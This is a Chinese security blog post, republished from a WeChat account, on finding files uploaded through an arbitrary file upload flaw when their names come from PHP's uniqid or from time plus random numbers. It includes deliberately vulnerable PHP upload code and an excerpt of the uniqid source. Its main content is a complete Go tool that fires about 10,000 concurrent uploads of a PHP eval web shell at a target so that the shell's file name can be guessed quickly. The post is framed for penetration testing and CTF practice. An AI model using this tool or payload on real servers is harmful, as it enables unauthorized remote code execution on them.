一秒找出用时间和随机数生成的上传文件名

在做渗透测试或者ctf比赛的时,常遇到一种任意文件上传漏洞,上传后的文件名,是使用时间加随机数生成的。常见的如php的uniqid函数生成的文件名,或用时间戳或秒数+随机数字生成文件名。

通常遇到这种情况,我们可以使用一个url模糊测试的的脚本暴力猜解,如果数量为百万级,即使用HEAD方式发送http请求也需要1~2小时才能遍历完,在渗透测试和ctf比赛中都有动作过大和时间太长的缺点。但如果我们换一个思路,可以将效率提高上千倍。有一个靶子,命中一次就算成功,我们用多支枪去打可以提高命中可能;上传漏洞好比这靶子是我们自己架设的,我们可以放多个靶子再进一步提高命中可能。通过这个方式,就可以在一秒内找到上传后的文件名。

下面使用一段真实的代码为例,说明如何在一秒中内找到phpuniqid函数生的文件名。

一、有漏洞的上传代码,如何找到上传后的文件呢

<?php
  $temp = explode(".", $_FILES["file"]["name"]);
  $extension = end($temp);
  if ($_FILES["file"]["error"] > 0) {
      echo "Error";
  } else {
      $newfile = uniqid("image_").".".$extension;
      // 下面的命名方式与上面基本是一样的,也曾在某次ctf中出现过
      // 新文件名
        // $newfile = date("dHis") . '_' . rand(10000, 99999) . '.' .$extension;
      move_uploaded_file($_FILES["file"]["tmp_name"], "Images/".$newfile);
  }
?>

可见文件名使用了uniqid函数生成,实际运行如下代码,可见uniqid的前半部分是根据固定的,后半部分似乎是随机的。

二、弄清uniqid函数的实现细节

查看php uniqid函数的源码

// https://github.com/php/php-src/blob/master/ext/standard/uniqid.c
do {
  (void)gettimeofday((struct timeval *) &tv, (struct timezone *) NULL);
} while (tv.tv_sec == prev_tv.tv_sec && tv.tv_usec == prev_tv.tv_usec);
prev_tv.tv_sec = tv.tv_sec;
prev_tv.tv_usec = tv.tv_usec;
sec = (int) tv.tv_sec;
usec = (int) (tv.tv_usec % 0x100000);
/* The max value usec can have is 0xF423F, so we use only five hex
 * digits for usecs.
 */
if (more_entropy) {
  uniqid = strpprintf(0, "%s%08x%05x%.8F", prefix, sec, usec, php_combined_lcg() * 10);
} else {
  uniqid = strpprintf(0, "%s%08x%05x", prefix, sec, usec);
}

由以上代码可知,文件名 = 前缀 + 秒数的8位16进制数 + 微秒取模0x100000的5位16进制数。这里面前缀和秒数已知,只有微妙数不知。10^6微秒=1秒,数值非常小,我们可以认为它是一个随机数。这样生成的文件名可能为16^5=1048576,100多万个可能性。使用HEAD方法去验证100多万个结果,网络较好的情况下也需要数个小时。

三、同时上传多个文件,提高查找效率

实际上我们可以通过在一秒钟内上传多个文件来成千倍提高查找效率。编写过程中还需要注意一些细节。

使用go语言编写并发上传和测试的工具,在本地环境下测试,(16G内存+i7cpu的笔记本+nginx+php7.0-fpm)一秒内可上传5700余个文件,扫描时在发起956次请求就找到结果,用时0.1秒。在ping延时为300毫秒的vps上测试一秒钟内也可上传1500个文件。这样就相当于在 16^5/1500 = 699,在699个文件名中找一个正确值(考虑到不是均匀分布,这个值会大一些或小一些)。发起699次HTTP请求,一般不超过1-数秒内就可得出正确结果,即使网络非常差也能在几十秒内找到正确结果。测试情况见下图所示:

一些需要注意的细节:

服务器返回的response header中有服务器时间,可用来确认秒数. 服务器同时支持的tcp连接数有限,http客户端要设置http请求头的 Connection: close。 客户端同时能打开的文件数也是有限的,所以要将要要上传的php代码放到内存中,而不是从文件中读取。 设置/etc/hosts,节省dns查询时间 使用tcp socket直接发送上传的请求包,应该还会更快一点。

上传代码如下:

package main
import (
    "bytes"
    "fmt"
    "log"
    "mime/multipart"
    "net/http"
    "os"
    "path/filepath"
    "time"
    "sync"
)
// Creates a new file upload http request with optional extra params
func newfileUploadRequest(uri string, params map[string]string, paramName, localfile string) (*http.Request, error) {
    // file, err := os.Open(localfile)
    // if err != nil {
    //     return nil, err
    // }
    // defer file.Close()
    payload := []byte(`<?php eval($_POST[c]);`)
    body := &bytes.Buffer{}
    writer := multipart.NewWriter(body)
    part, err := writer.CreateFormFile(paramName, filepath.Base(localfile))
    if err != nil {
        return nil, err
    }
    // _, err = io.Copy(part, file)
    part.Write(payload)
    for key, val := range params {
        _ = writer.WriteField(key, val)
    }
    err = writer.Close()
    if err != nil {
        return nil, err
    }
    req, err := http.NewRequest("POST", uri, body)
    if err != nil {
        return nil, err
    }
    req.Header.Set("Content-Type", writer.FormDataContentType())
    req.Header.Set("Connection", "close")
    return req, nil
}
var total int
var result map[int64]int
func main() {
    start := time.Now()
    filename := "file"
    filepath, _ := os.Getwd()
    filepath += "/shell.php"
    result = make(map[int64]int, 10)
    wg := &sync.WaitGroup{}
    lock := &sync.Mutex{}
    done := make(chan struct{}, 256)
    for i := 0; i < 10000; i++ {
        done <- struct{}{} // max concurrency is 256
        if i%64 == 0 {
            time.Sleep(10 * time.Millisecond)
        }
        wg.Add(1)
        go doUpload(filename, filepath, nil, wg, lock)
        <-done
    }
    wg.Wait()
    used := time.Since(start)
    fmt.Printf("[*] done.\n[*] %d file uploaded. time used: %.2f\n", total, used.Seconds())
    for sec, cnt := range result {
        fmt.Printf("[*] %08x : %d\n", sec, cnt)
    }
}
func doUpload(filename, filepath string, params map[string]string, wg *sync.WaitGroup, lock *sync.Mutex) {
    defer wg.Done()
    code, date, err := upload(filename, filepath, params)
    if err != nil {
        log.Println(err)
        return
    }
    if err == nil && code == 200 {
        lock.Lock()
        total++
        key := date.Unix()
        if cnt, has := result[key]; has {
            result[key] = cnt + 1
        } else {
            result[key] = 1
        }
        lock.Unlock()
    }
}
func upload(filename string, filepath string, params map[string]string) (code int, date time.Time, err error) {
    request, err := newfileUploadRequest("http://ctf/up.php", params, filename, filepath)
    if err != nil {
        log.Println(err)
        return
    }
    timeout := time.Duration(5 * time.Second)
    client := &http.Client{
        Timeout: timeout,
    }
    resp, err := client.Do(request)
    if err != nil {
        log.Println(err)
        return
    }
    code = resp.StatusCode
    datestring := resp.Header.Get("Date")
    if datestring != "" {
        // loc, _ := time.LoadLocation("Asia/Shanghai")
        LongForm := `Mon, 02 Jan 2006 15:04:05 MST`
        // date, _ = time.ParseInLocation(LongForm, datestring, loc)
        date, _ = time.Parse(LongForm, datestring)
        // fmt.Println(date.Unix())
    }
    // _, err = ioutil.ReadAll(resp.Body)
    defer resp.Body.Close()
    return
}

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2018-02-26

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏Seebug漏洞平台

Exim Off-by-one(CVE-2018-6789)漏洞复现分析

前段时间meh又挖了一个Exim的RCE漏洞[1],而且这次RCE的漏洞的约束更少了,就算开启了PIE仍然能被利用。虽然去年我研究过Exim,但是时间过去这么久...

56370
来自专栏葡萄城控件技术团队

Asp.Net MVC4入门指南(6):验证编辑方法和编辑视图

在本节中,您将开始修改为电影控制器所新加的操作方法和视图。然后,您将添加一个自定义的搜索页。 在浏览器地址栏里追加/Movies, 浏览到Movies页面。并进...

302100
来自专栏jeremy的技术点滴

《Network Programming with Go》阅读重点备忘(二)

36950
来自专栏腾讯云实验室

玩转 Jupyter Notebook

腾讯云提供了开发者实验室教你玩转 Jupyter Notebook,教程内容如下,用户可以点击开发者实验室快速上机完成实验。

1.7K30
来自专栏葡萄城控件技术团队

七天学会ASP.NET MVC(七)——创建单页应用

系列文章 七天学会ASP.NET MVC (一)——深入理解ASP.NET MVC 七天学会ASP.NET MVC (二)——ASP.NET MVC 数据传递 ...

45760
来自专栏三流程序员的挣扎

git rebase

rebase 这个命令正式工作中基本上没有用过,只是学习时曾经写过 Demo,但具体指令的含义不是太理解,总觉得没有 merge 来得有掌控感,而且过去使用代码...

13830
来自专栏恰童鞋骚年

自己动手写工具:百度图片批量下载器

开篇:在某些场景下,我们想要对百度图片搜出来的东东进行保存,但是一个一个得下载保存不仅耗时而且费劲,有木有一种方法能够简化我们的工作量呢,让我们在离线模式下也能...

51710
来自专栏哲学驱动设计

asp.net MVC 应用程序的生命周期

  首先我们知道http是一种无状态的请求,他的生命周期就是从客户端浏览器发出请求开始,到得到响应结束。那么MVC应用程序从发出请求到获得响应,都做了些什么呢?

11830
来自专栏Seebug漏洞平台

Exim Off-by-one(CVE-2018-6789)漏洞复现分析

前段时间meh又挖了一个Exim的RCE漏洞[1],而且这次RCE的漏洞的约束更少了,就算开启了PIE仍然能被利用。虽然去年我研究过Exim,但是时间过去这么久...

13120
来自专栏令仔很忙

学生信息管理系统问题集锦

 1)、数据库的ODBC配置出现错误,没有配置好,与数据库的连接没有连接好,就会出现这样的问题

10620

扫码关注云+社区

领取腾讯云代金券